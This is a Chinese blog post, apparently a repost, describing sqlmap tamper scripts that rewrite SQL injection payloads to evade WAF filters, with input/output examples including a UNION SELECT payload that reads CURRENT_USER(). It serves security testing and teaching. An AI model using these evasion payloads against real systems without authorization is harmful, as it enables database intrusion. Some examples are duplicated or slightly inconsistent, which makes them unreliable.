sqlmap tamper mysql_Sqlmap Tamper大全(1)
1 * Input: 1 AND 9227=9227
2 *Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
View Code
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。在许多情况下你可以通过使用sqlmap中的tamper脚本来对目标进行更高效的攻击。
本文旨在介绍tamper目录中的大部分插件,其中有的部分网上已经有了。
脚本名:apostrophemask.py
作用:用utf8代替引号
Example:
Default
1
2
("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Tested against:
all
—————————————————————————————
文件名:equaltolike.py
作用:like 代替等号
Example:
Default
1
2
*Input:SELECT *FROM users WHERE id=1
*Output:SELECT *FROM users WHERE id LIKE1
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————————
脚本名:space2dash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
Example:
Default
1
2
('1 AND 9227=9227')
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
Tested against:
* MSSQL
* SQLite
—————————————————————————————
脚本名:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
Example:
Default
1
2
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
Example:
Default
1
2
*Input:1AND9227=9227
*Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
——————————————————
脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
Example:
Default
1
2
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
Example:
Default
1
2
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
———————————————–
脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
Example:
Default
1
2
*Input:1AND9227=9227
*Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
——————————————
脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
Example:
Default
1
2
('1 AND 1=1')
'1 AND 1=1%00'
Requirement:
* Microsoft Access
——————————————
脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
Example:
Default
1
2
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against:
* MySQL 5.0 and 5.5
——————————————
脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example:
Default
1
2
*Input:SELECT id FROM users
*Output:SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
Default
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
————————————————-
关于Sqlmap Tamper的使用参考:《如何使用SQLMap绕过WAF》《sqlmap用户手册》
via@凌霄飞龙
sqlmap tamper mysql_Sqlmap Tamper大全(1)相关推荐
- sqlmap tamper mysql_sqlmap tamper的使用
前言 在早之前我对于tamper的使用一直都是停留在错误的思维.想着bypass,应该要先手动fuzz出规则来,然后再写成tamper使用. 直到今天,才察觉根本不需要一定要fuzz出具体的规则来,无 ...
- sqlmap tamper mysql_sqlmap之常用tamper脚本
常用tamper脚本 apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper("1 AND '1'='1") ...
- SQLMAP进阶使用 --tamper
实验原理 tamper脚本是SQLMAP中用于绕过waf或应对网站过滤逻辑的脚本.SQLMA自带了一些tamper脚本,可以在 tamper目录下查看它们.用户也可以根据已有的tamper脚本来编写自 ...
- mysql常用的tamper脚本_总结一些sqlmap的常用tamper脚本释义
要想成为一名合格的"脚本小子",我们首先需要一个强大的工具,然后利用好他的脚本.但是脚本也不能乱用,首先就是要了解一下SqlMap的常用的脚本,然后分清楚场合进行利用.(好的,看开 ...
- sqlmap中的tamper 脚本分析
space2randomblank 作用:空格替换为备选字符集中的随机字符 例子: ('select id from users') ( select %0Did%0DFRM%0A users') 详 ...
- sqlmap 连接mysql_sqlmap连接Mysql实现getshell | CN-SEC 中文网
摘要 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. 语法为:" DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_N ...
- sqlmap 连接mysql_sqlmap从入门到精通-第三章-4-4-使用sqlmap直连MSSQL获取webshell或权限...
4.4 使用sqlmap直连MSSQL获取webshell或权限 在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密 ...
- sqlmap 连接mysql_sqlmap连接Mysql实现getshell(原创)
前言 昨天群友发了一知乎的帖子..才发现sqlmap玩了那么久有些玩意我居然没玩过...然后看着群友玩= =今天也想试试. 0x01 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. ...
- 《中庸》开宗明义:天命之谓性,率性之谓道,修道之谓教。
天命之谓性,率性之谓道,修道之谓教. 道也者,不可须臾离也,可离,非道也.是故君子戒慎乎其所不睹,恐惧乎其所不闻.莫见乎隐,莫显乎微,故君子慎其独也. 喜.怒.哀.乐之未发,谓之中:发而皆中节,谓之和 ...
最新文章
- 深入剖析SolrCloud(二)
- 传闻要被「降级」的这所211高校,让这位网红教授「救活了」
- Cloudify — Overview
- 【Linux 内核】进程优先级与调度策略 ② ( 获取调度策略对应的进程优先级函数 | sched_get_priority_max 函数 | sched_get_priority_min 函数 )
- ISATAP隧道技术及实践
- gson json转map_Java几种常用JSON库性能比较
- 打开浏览器不是主页_对于360浏览器的一些小小改善
- SpringMVC注解HelloWorld
- GridMask:SOTA 数据增广方法,显著改进分类、检测、分割效果
- ie6/ie7/firefox/dispaly:inline-block:兼容性
- Python正则表达式常用flag含义与用法详解
- 火星人敏捷开发手册 2011-10-14 发布
- python项目实战:模拟登陆CSDN
- 3.4、云计算FusionAccess桌面运维与管理
- 可靠数据传输(rdt)实现的底层原理
- 国产 Linux 操作系统面临的困境
- ubuntu18.04安装MPV视频播放器
- INI配置——《跟我学Shiro》
- Kylin 认证培训硬核召集令,助力打造金融科技大数据紧缺人才
- 在Swagger中请求API返回400BadRequest
热门文章
- 音视频技术开发周刊 | 248
- Windows Azure Virtual Network (13) 跨数据中心之间的虚拟网络点对点连接VNet Peering
- 在Ubuntu下载Python3.6.2并建立软连接
- mes系统多少钱,企业要不要上mes系统?
- 报表解决方案Telerik Reporting发布R2 2019 SP1|支持MS Access
- 40个重要的HTML5面试题及答案
- N76E003 串口接收字符串,完整输出
- macOS 安装 Adobe Zii 2019 for Adobe
- 改变思维(深度学习)
- 云主机装黑果实践(5):重得到镜像和继续强化前置启动过程